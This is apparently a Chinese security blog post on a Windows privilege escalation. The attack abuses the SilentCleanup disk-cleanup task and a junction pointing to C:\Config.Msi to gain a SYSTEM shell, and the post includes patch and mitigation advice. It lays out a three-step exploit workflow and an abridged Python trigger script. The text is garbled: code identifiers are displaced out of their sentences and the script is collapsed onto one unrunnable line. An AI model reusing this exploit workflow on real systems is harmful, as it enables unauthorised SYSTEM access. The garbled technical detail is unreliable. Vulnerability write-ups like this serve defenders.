## 概念验证 （PoC） 工作流程 + +安全研究人员使用多阶段流程演示了漏洞利用： +1. 文件夹设置：使用虚拟文件创建嵌套目录 （） 以触发 SilentCleanup 的删除例程。C:\ESD\Windows +1. 交汇点重定向：用于转换为指向 的交汇点。FolderContentsDeleteToFolderDeleteC:\ESD\WindowsC:\Config.Msi +1. 权限提升：执行后清理，通过受损的 Config.Msi 目录生成 SYSTEM shell。osk.exe +``` +# Sample exploit script (abridged)import os, timeos.makedirs(r'C:\$Windows.~WS', exist_ok=True)os.makedirs(r'C:\ESD\Windows', exist_ok=True)with open(r'C:\ESD\Windows\dummy.txt', 'w') as f: f.write('trigger')input("Press Enter after setting up junctions...")os.startfile(r'C:\Windows\System32\cleanmgr.exe') +``` +## 缓解和补丁部署 + +Microsoft 的 2025 年 2 月更新通过以下方式解决了该漏洞： +- 重定向防护：阻止通过 的符号链接攻击。PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY +- **DLL 签名强制** +：cleanmgr.exe 现在在加载库之前验证数字签名。 + +**建议的作** +： +- 立即通过 Windows Update/WSUS 应用 KB5025321。 + +- 审核系统目录中是否存在未经授权的 DLL（例如 ）。dokannp1.dll +- 监控非标准上下文中的执行情况。cleanmgr.exe +此补丁是修复 67 个漏洞的更广泛更新的一部分，包括 Windows 辅助功能驱动程序 （CVE-2025-21418） 和 NTLM （CVE-2025-21377） 中被积极利用的零日漏洞。 + +**免责声明** +： + +本公众号所载文章为本公众号原创或根据网络搜索下载编辑整理，文章版权归原作者所有，仅供读者学习、参考，禁止用于商业用途。因转载众多，无法找到真正来源，如标错来源，或对于文中所使用的图片、文字、链接中所包含的软件/资料等，如有侵权，请跟我们联系删除，谢谢！ + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/1QIbxKfhZo5lNbibXUkeIxDGJmD2Md5vKicbNtIkdNvibicL87FjAOqGicuxcgBuRjjolLcGDOnfhMdykXibWuH6DV1g/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +